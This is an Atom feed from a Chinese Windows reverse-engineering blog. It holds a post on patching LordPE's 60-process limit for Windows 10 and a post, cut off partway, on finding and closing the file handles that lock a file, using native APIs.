<?xml version="1.0" encoding="utf-8"?> <feed xmlns="http://www.w3.org/2005/Atom">   <title>Anhkgg&#39;Lab | Windows Kernel | Rootkit | Reverse Engineer | Expolit | 内核研究 | 逆向分析 | 漏洞分析挖掘</title>   <subtitle>Windows Kernel/Rootkit/Reverse Engineer/Expolit/内核研究/逆向分析/漏洞分析挖掘</subtitle>   <link href="/atom.xml" rel="self"/>      <link href="https://anhkgg.github.io/"/>   <updated>2021-06-20T03:01:33.769Z</updated>   <id>https://anhkgg.github.io/</id>      <author>     <name>Anhkgg</name>        </author>      <generator uri="http://hexo.io/">Hexo</generator>      <entry>     <title>LordPE在win10无法工作折腾笔记-死而复生</title>     <link href="https://anhkgg.github.io/relive-LordPE/"/>     <id>https://anhkgg.github.io/relive-LordPE/</id>     <published>2021-06-20T02:46:14.000Z</published>     <updated>2021-06-20T03:01:33.769Z</updated>          <content type="html"><![CDATA[<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">author: anhkgg</span><br><span class="line">date: 2021年6月19日</span><br></pre></td></tr></table></figure> <h2 id="前情提要"><a href="#前情提要" class="headerlink" title="前情提要"></a>前情提要</h2><p>最近在分析某个软件时，提示错误。赶紧挂上windbg看看调用栈，看能不能找到问题。</p> <p>一看应该能够解决，需要结合IDA静态分析。</p> <p>通过任务管理器进程转到文件，发现文件已经不存在了，咋办？</p> <p>还好，进程还在，可以把主程序dump下来，就可以静态分析了。</p> <p>如何dump呢？简单的可以通过windbg的.writemem把内存写入文件，但是文件不是合法（可运行）的PE，虽然此时文件和内存中数据完全相同（IDA可以将就分析）。</p> <p>PE文件的文件结构和内存结构是不完全相同的，最重要的原因是文件对齐和内存对齐不同。</p> <p>所以windbg的.writemem是不支持把内存dump生成合法的PE文件，除非自己再进行文件修复。</p> <p>此时，不知道有没有人想起来逆向中脱壳，是不是也有类似操作，我这里不是脱壳，但需要做的确和脱壳类似。</p> <p>所以我想到了LordPE（没用OD），它可以把内存dump之后生成正确的PE文件，然后再ImportREC修复输入表即可。</p> <p>这活脱脱得就是脱壳啊，哈哈，无所谓啦。</p> <a id="more"></a> <h2 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h2><p>好久不使LordPE，赶紧找出来，运行之后，发现不行。咋回事？该版本不支持枚举高权限进程？不至于啊。</p> <p>连着换了多个版本，还是不行，LordPE枚举到的进程中没有我的目标进程，而且很多进程名都是[System Process]。</p> <p>LordPE不至于这么弱吧？！算了，祭出windbg分析一下吧。</p> <p>windbg启动LordPE，对枚举进程API下断，bp kernel32!ProcessNext，居然没断下来。</p> <p>WTF？</p> <p>那断ntdll的API总行了吧，bp ntdll!NtQuerySystemInformation。可以，发现用的是kernel32!EnumProcess。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">0:000&gt; kv</span><br><span class="line"> # ChildEBP RetAddr  Args to Child              </span><br><span class="line">00 0019f5e0 200013fc 004a0010 00000400 0019f600 KERNELBASE!K32EnumProcesses (FPO: [Non-Fpo])</span><br><span class="line">01 0019f74c 00405fb6 004a0010 00000400 69970c70 procs!GetProcessIDList+0x13c</span><br><span class="line">02 0019f7a0 6992b4f2 ffffffff 00001003 00000001 LordPE+0x5fb6</span><br><span class="line">03 0019f7c4 69929edb 00040426 00001003 00000001 COMCTL32!FlatSB_SubclassWndProc+0x22 (FPO: [6,0,0])</span><br><span class="line">04 0019f820 fffffffe 0019f874 69929e20 00040426 COMCTL32!CallNextSubclassProc+0x69 (FPO: [Non-Fpo])</span><br><span class="line">05 0019f844 7789c79c 00000000 00559420 00000000 0xfffffffe</span><br><span class="line">06 0019f920 766760bf 00000000 00000000 004911c8 ntdll!RtlDeactivateActivationContextUnsafeFast+0x9c (FPO: [Non-Fpo])</span><br></pre></td></tr></table></figure> <p>然后发现procs!GetProcessIDList，看名字明显就是获取所有进程PID。</p> <p>IDA打开procs.dll一看，这个DLL提供了所有进程和模块管理的接口。</p> <p><img src="/img/2021-06-19-16-54-03.png" alt=""></p> <p>可以看到，他根据Is_xxx_200024FC（系统版本）分两类API来获取信息，第二种才是我前面没成功下断的ProcessNext。</p> <p><img src="/img/2021-06-19-16-56-55.png" alt=""></p> <p>这不是重点，上面的枚举代码没什么问题，不过我没怎么用过EnumProcess接口，不确定是否有问题，所以我把Is_xxx_200024FC强制改为0，然后所有接口都通过tlhelp32接口来获取进程和模块信息。</p> <p>再往上层回溯，进入LordPE，发现神奇的东西。</p> <p><img src="/img/2021-06-19-17-21-22.png" alt=""></p> <p>长度传的0xF0，也就是240 / 4 = 60，也就是说LordPE只能获取60个进程。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">DWORD dwProcessId[60];</span><br></pre></td></tr></table></figure> <p>而在win10上，动不动就是上百个进程，所以没有枚举到我要看的目标进程太正常了。</p> <p>只想吐槽，LordPE作者怎么会写出这样的代码，这就算在xp、win7，进程超过60个也歇菜了。</p> <h2 id="修改"><a href="#修改" class="headerlink" title="修改"></a>修改</h2><p>问题找到了，现在该想想如何修改让LordPE能够正常用起来。</p> <p>首先想到的是，既然枚举进程不全，我可以自己枚举进程插入到进程列表中。</p> <p><img src="/img/2021-06-19-17-33-24.png" alt=""></p> <p>但需要确认点击某个进程选dump是怎么处理的？</p> <p><img src="/img/2021-06-19-17-35-45.png" alt=""></p> <p>获取到选择的进程行，让后dwProcessId[index]拿到进程PID，然后调用dump函数。</p> <p>这，index超了60，dwProcessId[index]就不行了啊，这个PID不合法啊。</p> <p>此路不通。</p> <p>那把dwProcessId扩大呢？</p> <p><img src="/img/2021-06-19-17-41-33.png" alt=""></p> <p>dwProcessId大小60个，后面马上接着其他变量，连对齐空间都没有。</p> <p>不可行。</p> <p>可以看到，引用dwProcessId的位置还不只一个。</p> <p><img src="/img/2021-06-19-17-26-16.png" alt=""></p> <p>更多想法：</p> <ol> <li>dwProcessId通过malloc分配，但得修改所有引用位置的代码，从dwProcessId[index]换成(*dwProcess)[index]</li> <li>劫持所有procs.dll接口，把参数PID换成我需要dump的进程，同样也需要替换模块地址。</li> <li>或者重写一个…(额)</li> </ol> <p>觉得都挺麻烦的。</p> <p>此时，去百度搜索了一下，发现已经有前人做过相关工作了。</p> <p><a href="https://bbs.pediy.com/thread-34814-1.htm">LordPE只显示60个进程 fix </a></p> <p>他是在PE中找到空白位置，用做新的dwProcessId地址，然后把所有引用dwProcessId的位置换成这个新地址，还挺简单，不过最多只能存256个进程PID，将就可以用了。</p> <p>然后procs.dll接口也存在问题，居然还有硬编码F0来EnumProcess获取进程（几乎所有接口）。</p> <p><img src="/img/2021-06-19-17-59-06.png" alt=""></p> <p>不过我前面已经修改了Is_xxx_200024FC，所以不会用enumprocess，全部使用的tlhelp32的ProcessNext接口，不会存在这个问题。</p> <p>所以暂时确定方案：</p> <ol> <li>找到新位置用作dwProcessId，并修改引用位置</li> <li>修改procs.dll的Is_xxx_200024FC为0</li> </ol> <p>在结尾看到800h的对齐位置。</p> <p><img src="/img/2021-06-19-18-44-10.png" alt=""></p> <p>0x800/4=0x200=512字节，那么可以枚举到512个进程。</p> <p>把所有dwProcessId换成41EA88，大小F0换成800h。</p> <p><img src="/img/2021-06-19-18-58-09.png" alt=""></p> <p>现在可以正常枚举到进程。</p> <p><img src="/img/2021-06-19-19-16-06.png" alt=""></p> <h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>经过一番折腾，目前满足我当前需求，可以正常dump出错的软件，但是LordPE不支持64进程，所有可能某些情况下还是鸡肋。</p> <p>很少这么手工修改软件，思路还是挺重要的，要不是搜到那篇帖子，我可能就会采用勾上procs.dll的导出接口和dump函数，但随便几点某个进程，选择dump时，会弹出一个我的界面选择真实的目标进程，然后返回调用dump函数，也同样是可以同样的功能。</p> <p>最后立个flag，有时间还是想写个支持64进程的增强版LordPE。或者我孤陋寡闻，目前已经有类似程序，有知情大佬，请不吝告知。</p> <p>转载请注明出处：<a href="https://anhkgg.github.io/relive-LordPE">https://anhkgg.github.io/relive-LordPE</a></p> <p>欢迎关注技术公众号：<strong><span style="color:red">汉客儿</span></strong><br><img src="/img/wx.png" alt="img"></p> ]]></content>          <summary type="html">            &lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;author: anhkgg&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;date: 2021年6月19日&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt; &lt;h2 id=&quot;前情提要&quot;&gt;&lt;a href=&quot;#前情提要&quot; class=&quot;headerlink&quot; title=&quot;前情提要&quot;&gt;&lt;/a&gt;前情提要&lt;/h2&gt;&lt;p&gt;最近在分析某个软件时，提示错误。赶紧挂上windbg看看调用栈，看能不能找到问题。&lt;/p&gt; &lt;p&gt;一看应该能够解决，需要结合IDA静态分析。&lt;/p&gt; &lt;p&gt;通过任务管理器进程转到文件，发现文件已经不存在了，咋办？&lt;/p&gt; &lt;p&gt;还好，进程还在，可以把主程序dump下来，就可以静态分析了。&lt;/p&gt; &lt;p&gt;如何dump呢？简单的可以通过windbg的.writemem把内存写入文件，但是文件不是合法（可运行）的PE，虽然此时文件和内存中数据完全相同（IDA可以将就分析）。&lt;/p&gt; &lt;p&gt;PE文件的文件结构和内存结构是不完全相同的，最重要的原因是文件对齐和内存对齐不同。&lt;/p&gt; &lt;p&gt;所以windbg的.writemem是不支持把内存dump生成合法的PE文件，除非自己再进行文件修复。&lt;/p&gt; &lt;p&gt;此时，不知道有没有人想起来逆向中脱壳，是不是也有类似操作，我这里不是脱壳，但需要做的确和脱壳类似。&lt;/p&gt; &lt;p&gt;所以我想到了LordPE（没用OD），它可以把内存dump之后生成正确的PE文件，然后再ImportREC修复输入表即可。&lt;/p&gt; &lt;p&gt;这活脱脱得就是脱壳啊，哈哈，无所谓啦。&lt;/p&gt;          </summary>            <category term="security" scheme="https://anhkgg.github.io/categories/security/"/>                 <category term="逆向" scheme="https://anhkgg.github.io/tags/%E9%80%86%E5%90%91/"/>            <category term="LordPE" scheme="https://anhkgg.github.io/tags/LordPE/"/>        </entry>      <entry>     <title>深度探索：解除文件占用那些坑</title>     <link href="https://anhkgg.github.io/unlockfile/"/>     <id>https://anhkgg.github.io/unlockfile/</id>     <published>2021-01-14T03:17:27.000Z</published>     <updated>2021-01-14T15:08:08.514Z</updated>          <content type="html"><![CDATA[<blockquote> <p>author: anhkgg<br>date: 2021-01-14 11:17:27</p> </blockquote> <p>了解一点操作系统知识的同学们应该都知道，文件占用无法删除，是因为某些进程正在使用该文件。</p> <p><img src="/img/2021-01-14-00-29-40.png" alt=""></p> <p>要删除这样的文件，就需要让那些进程关闭文件，然后自然可以删除。</p> <p>一句话的事，那究竟要怎么用代码来实现这个功能呢？</p> <a id="more"></a> <h1 id="打开和关闭文件"><a href="#打开和关闭文件" class="headerlink" title="打开和关闭文件"></a>打开和关闭文件</h1><p>还记得上大学第一门语言课-C语言，迄今为止还依然活跃并被一直使用的语言。</p> <p>比汇编容易理解，又更接近底层，所以Windows操作系统内核大部分代码都是用C语言来编写的。</p> <p>在C的课程里，我们学过通过FILE来操作使用文件，比如：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">FILE *fp;</span><br><span class="line">fp &#x3D; fopen(&quot;c:\\temp\\test.txt&quot;, &quot;r&quot;) </span><br></pre></td></tr></table></figure> <p>通过读的方式打开一个文件，使用非常简单，后续通过fp这个结构体指针操作文件即可。</p> <p>其实fopen并不接近操作系统，他是对win32 API CreateFile的封装。</p> <p>也就是前者是标准库接口，在Windows、linux、unix等都是通用接口。</p> <p>而后者才是和操作系统关联紧密，由微软自己提供的API。</p> <p>要更好的理解进程如何使用文件的，我们还得看看<a href="https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea">CreateFile</a>这个API接口。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">HANDLE CreateFileA(</span><br><span class="line">  LPCSTR                lpFileName,</span><br><span class="line">  DWORD                 dwDesiredAccess,</span><br><span class="line">  DWORD                 dwShareMode,</span><br><span class="line">  LPSECURITY_ATTRIBUTES lpSecurityAttributes,</span><br><span class="line">  DWORD                 dwCreationDisposition,</span><br><span class="line">  DWORD                 dwFlagsAndAttributes,</span><br><span class="line">  HANDLE                hTemplateFile</span><br><span class="line">);</span><br></pre></td></tr></table></figure> <p>这是msdn对CreateFile的定义，简单来看我们可以只关注lpFileName和返回值，lpFileName传递你要打开的文件，返回值是操作系统给你的一个代表文件的句柄（handle）。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">HANDLE hFile &#x3D; CreateFileA(&quot;c:\\temp\\test.txt&quot;, ...);</span><br></pre></td></tr></table></figure> <p>要对文件进行读、写等操作都需要这个句柄，也就是说这个句柄至关重要，它表示文件正在被使用。</p> <p>然后什么时候结束使用呢，我们需要看另一个API <a href="https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-closehandle">CloseHandle</a>.</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">BOOL CloseHandle(</span><br><span class="line">  HANDLE hObject</span><br><span class="line">);</span><br></pre></td></tr></table></figure> <p>CloseHandle用于关闭一个正在被使用的文件，通过句柄来关闭。</p> <p>现在明白过来了吗，只要我们让进程调用CloseHandle这个API，关闭被占用的文件句柄，那么该文件也就被解除占用了。</p> <p>哈哈，是不是很简单。</p> <h1 id="枚举占用文件的进程"><a href="#枚举占用文件的进程" class="headerlink" title="枚举占用文件的进程"></a>枚举占用文件的进程</h1><p>那么我就想问同学们一个问题，怎么知道哪些进程在使用我们想删除的文件呢？怎么去查找？</p> <p>带着这个问题，我们继续往下看。</p> <p>我们来想一个问题，操作系统给调用CreateFile的用户返回了一个句柄，然后通过句柄来操作文件，那操作系统是如何知道句柄代表哪个文件呢？</p> <p>我们简单思考一下，我们要做到这个目的有没有什么方法，比如我用一个数组来存用户打开的文件路径，而数组序号就返回给用户，下次用户就只需要把序号给我，我就知道要操作什么问题了。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">演示代码，忽略细节</span><br><span class="line">LPWSTR FileTable[100] &#x3D; &#123;0&#125;;</span><br><span class="line">HANDLE CreateFileA(</span><br><span class="line">  LPCSTR                lpFileName,</span><br><span class="line">  ...)</span><br><span class="line">  &#123;</span><br><span class="line">      for(int i &#x3D; 0; i &lt; 100; i ++) &#123;</span><br><span class="line">          if(FileTable[i] &#x3D;&#x3D; NULL) &#123; &#x2F;&#x2F;还有空位</span><br><span class="line">              FileTable[i] &#x3D; lpFileName; &#x2F;&#x2F;保存路径</span><br><span class="line">              return (HANDLE)i; &#x2F;&#x2F;返回句柄</span><br><span class="line">          &#125;</span><br><span class="line">      &#125;</span><br><span class="line">      return NULL;</span><br><span class="line">  &#125;</span><br><span class="line">BOOL CloseHandle(</span><br><span class="line">  HANDLE hObject</span><br><span class="line">) &#123;</span><br><span class="line">    if((int)hObject &lt; 100) &#123;</span><br><span class="line">        if(FileTable[hObject]) &#123;</span><br><span class="line">            FileTable[hObject] &#x3D; NULL;&#x2F;&#x2F;找到文件路径</span><br><span class="line">            return TRUE;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    return FALSE;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p>上面简单的代码演示了一下我们粗略考略的文件和句柄的关系以及句柄的管理，那操作系统是不是这么做的呢？其实也差不多。</p> <p>//<a href="https://www.cnblogs.com/lsh123/p/8329989.html">https://www.cnblogs.com/lsh123/p/8329989.html</a></p> <p>任意进程，只要每打开一个对象（包括文件、进程、线程等等），就会获得一个句柄。</p> <p>这个句柄用来标志对某个对象的一次打开，通过句柄，可以直接找到对应的内核对象。</p> <p>每个进程都有一个句柄表，用来记录本进程打开的所有内核对象。</p> <p>句柄表可以简单看做为一个一维数组，每个表项就是一个句柄，一个结构体，一个句柄描述符。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">struct _HANDLE_TABLE_ENTRY  &#x2F;&#x2F;句柄描述符</span><br><span class="line">struct _HANDLE_TABLE    &#x2F;&#x2F;句柄表描述符</span><br></pre></td></tr></table></figure> <p>好，更加细节的句柄表的原理我们不用再深究，我们只需要知道每个进程都有一个句柄表，通过句柄表就可以找到打开的文件。</p> <p>这就是我们的目的，我们需要查到进程是不是打开了我们要删除的文件，我们需要查句柄表。</p> <p>那怎么查呢？</p> <p>操作系统给用户提供了一个接口<a href="https://docs.microsoft.com/en-us/windows/win32/sysinfo/zwquerysysteminformation">ZwQuerySystemInformation</a>。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">NTSTATUS WINAPI ZwQuerySystemInformation(</span><br><span class="line">  _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,</span><br><span class="line">  _Inout_   PVOID                    SystemInformation,</span><br><span class="line">  _In_      ULONG                    SystemInformationLength,</span><br><span class="line">  _Out_opt_ PULONG                   ReturnLength</span><br><span class="line">);</span><br></pre></td></tr></table></figure> <p>它可以获取系统非常多的信息，包括进程、模块、处理器、内存等等各种信息。</p> <p>而SystemHandleInformation = 16就能获取到系统所有的句柄信息。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO</span><br><span class="line">&#123;</span><br><span class="line">    USHORT UniqueProcessId;&#x2F;&#x2F;所属进程</span><br><span class="line">    USHORT CreatorBackTraceIndex;</span><br><span class="line">    UCHAR ObjectTypeIndex;</span><br><span class="line">    UCHAR HandleAttributes;</span><br><span class="line">    USHORT HandleValue; &#x2F;&#x2F;句柄</span><br><span class="line">    PVOID Object;</span><br><span class="line">    ULONG GrantedAccess;</span><br><span class="line">&#125; SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;</span><br><span class="line"></span><br><span class="line">typedef struct _SYSTEM_HANDLE_INFORMATION</span><br><span class="line">&#123;</span><br><span class="line">    ULONG NumberOfHandles;</span><br><span class="line">    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];</span><br><span class="line">&#125; SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;</span><br></pre></td></tr></table></figure> <p>既然知道了方法，下面就开始枚举所有句柄，找到我们被占用的文件的进程信息。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">Status &#x3D; ZwQuerySystemInformation(SystemHandleInformation,</span><br><span class="line">            Information,</span><br><span class="line">            Length,</span><br><span class="line">            &amp;ReturnLength);</span><br><span class="line"></span><br><span class="line">for (i &#x3D; 0; i &lt; Information-&gt;NumberOfHandles; i++) &#123;</span><br><span class="line">    if (Information-&gt;Handles[i].UniqueProcessId !&#x3D; CurrentProcessId) &#123;&#x2F;&#x2F;不是当前进程</span><br><span class="line">        Status &#x3D; ZwQueryObject(TargetHandle, ObjectTypeInformation, &amp;TypeInfo, sizeof(TypeInfo), NULL);</span><br><span class="line">        RtlInitUnicodeString(&amp;TargetType, L&quot;File&quot;);</span><br><span class="line">        if (!RtlEqualUnicodeString(&amp;TypeInfo.Info.TypeName, &amp;TargetType, FALSE)) &#123;</span><br><span class="line">            goto __next;</span><br><span class="line">        &#125;</span><br><span class="line">        Status &#x3D; ZwQueryObject(TargetHandle, ObjectNameInformation, &amp;NameInfo, sizeof(NameInfo), NULL);</span><br><span class="line">        if (RtlEqualUnicodeString(&amp;NameInfo.Info.Name, &amp;FileName, FALSE)) &#123;</span><br><span class="line">            printf(&quot;在进程(%d)发现文件占用：(%x) %wZ\n&quot;,</span><br><span class="line">                    ProcessId,</span><br><span class="line">                    Information-&gt;Handles[i].HandleValue,</span><br><span class="line">                    &amp;NameInfo.Info.Name);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p>ZwQuerySystemInformation获取到所有句柄信息，通过循环枚举Information-&gt;Handles，找到句柄类型属于File，路径是目标文件的进程。</p> <p>ZwQueryObject传入ObjectTypeInformation可以获取句柄类型，ZwQueryObject传入ObjectNameInformation可以获取文件路径。</p> <p>如此两个条件的对比，就能让我们找到占用文件的进程了。</p> <p>是不是感觉还挺简单，不复杂嘛。</p> <h1 id="坑一：ZwQueryObject"><a href="#坑一：ZwQueryObject" class="headerlink" title="坑一：ZwQueryObject"></a>坑一：ZwQueryObject</h1><p>前面提到，每个进程都有自己的句柄表，所以ZwQuerySystemInformation枚举拿到的句柄并不能直接使用，还需要复制一份到本进程才有效。</p> <p>系统也提供了API叫做<a href="https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-duplicatehandle">DuplicateHandle</a>:</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">BOOL DuplicateHandle(</span><br><span class="line">  HANDLE   hSourceProcessHandle,</span><br><span class="line">  HANDLE   hSourceHandle,</span><br><span class="line">  HANDLE   hTargetProcessHandle,</span><br><span class="line">  LPHANDLE lpTargetHandle,</span><br><span class="line">  DWORD    dwDesiredAccess,</span><br><span class="line">  BOOL     bInheritHandle,</span><br><span class="line">  DWORD    dwOptions</span><br><span class="line">);</span><br><span class="line"></span><br><span class="line">DuplicateHandle(hSrcProc, Information-&gt;Handles[i].HandleValue, hCurProc, TargetHandle, ...);</span><br></pre></td></tr></table></figure> <p>上面我们使用的TargetHandle就是通过复制获取的。</p> <p>这个地方并不是坑，而是在通过ZwQueryObject获取句柄对应的文件路径时，会发生阻塞，导致程序卡死无法继续运行。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">0: kd&gt; kv</span><br><span class="line"> # ChildEBP RetAddr  Args to Child</span><br><span class="line">00 d7fdb7cc 828aacda 00000000 00000000 a7d73040 nt!KiSwapContext+0x19 (FPO: [Uses EBP] [1,0,4])</span><br><span class="line">01 d7fdb86c 828aa358 d7fdb930 a7d73120 a7d73040 nt!KiSwapThread+0x4aa (FPO: [Non-Fpo])</span><br><span class="line">02 d7fdb8c8 828a9d67 00000000 00000000 00000000 nt!KiCommitThreadWait+0x128 (FPO: [Non-Fpo])</span><br><span class="line">03 d7fdb978 829298a3 8ff18afc 00000000 a7d73300 nt!KeWaitForSingleObject+0x1f7 (FPO: [Non-Fpo])</span><br><span class="line">04 d7fdb9a4 82c0759f 88c0e801 d7fdba18 8ff18ab0 nt!IopWaitForLockAlertable+0x3f (FPO: [Non-Fpo])</span><br><span class="line">05 d7fdb9cc 82d3f75c 88c0e800 a7d733f8 d7fdb9ef nt!IopWaitAndAcquireFileObjectLock+0x41 (FPO: [Non-Fpo])</span><br><span class="line">06 d7fdba1c 82bed31a 000001ee d7fdbb01 9a651dc0 nt!IopQueryXxxInformation+0x150f3e</span><br><span class="line">07 d7fdba9c 82becf65 00000000 007af7a4 00000210 nt!IopQueryNameInternal+0x31a (FPO: [Non-Fpo])</span><br><span class="line">08 d7fdbab8 82bece25 8ff18ab0 87ff2400 007af7a4 nt!IopQueryName+0x1b (FPO: [Non-Fpo])</span><br><span class="line">09 d7fdbb40 82bec6a6 00000210 d7fdbc04 d7fdbb01 nt!ObQueryNameStringMode+0x495 (FPO: [Non-Fpo])</span><br><span class="line">0a d7fdbbf8 829cce6b 8ff18ab0 00000000 007af7a4 nt!NtQueryObject+0x186 (FPO: [SEH])</span><br><span class="line">0b d7fdbbf8 77cd5ef0 8ff18ab0 00000000 007af7a4 nt!KiSystemServicePostCall (FPO: [0,3] TrapFrame @ d7fdbc14)</span><br></pre></td></tr></table></figure> <p>经过一些简单的分析，如果文件被是同步（SYNCHRONIZE）打开的，内核会等待一下锁，等其他线程操作完成，本线程才能拿到所有权。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">&#x2F;&#x2F;</span><br><span class="line">    &#x2F;&#x2F; Make a special check here to determine whether this is a synchronous</span><br><span class="line">    &#x2F;&#x2F; I&#x2F;O operation.  If it is, then wait here until the file is owned by</span><br><span class="line">    &#x2F;&#x2F; the current thread.  If this is not a (serialized) synchronous I&#x2F;O</span><br><span class="line">    &#x2F;&#x2F; operation, then initialize the local event.</span><br><span class="line">    &#x2F;&#x2F;</span><br><span class="line"></span><br><span class="line">    if (FileObject-&gt;Flags &amp; FO_SYNCHRONOUS_IO) &#123;</span><br><span class="line"></span><br><span class="line">        BOOLEAN interrupted;</span><br><span class="line"></span><br><span class="line">        if (!IopAcquireFastLock( FileObject )) &#123;</span><br><span class="line">            status &#x3D; IopAcquireFileObjectLock( FileObject,</span><br><span class="line">                                               Mode,</span><br><span class="line">                                               (BOOLEAN) ((FileObject-&gt;Flags &amp; FO_ALERTABLE_IO) !&#x3D; 0),</span><br><span class="line">                                               &amp;interrupted );</span><br><span class="line">            if (interrupted) &#123;</span><br><span class="line">                ObDereferenceObject( FileObject );</span><br><span class="line">                return status;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        KeClearEvent( &amp;FileObject-&gt;Event );</span><br><span class="line">        synchronousIo &#x3D; TRUE;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure> <p>所以这里我们就需要通过线程和超时的方式来调用ZwQueryObject，让程序可以不阻塞正常运行。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">void</span><br><span class="line">QueryThread(</span><br><span class="line">    IN PQUERY_CONTEXT Context</span><br><span class="line">) &#123;</span><br><span class="line">    Status &#x3D; ZwQueryObject(TargetHandle, 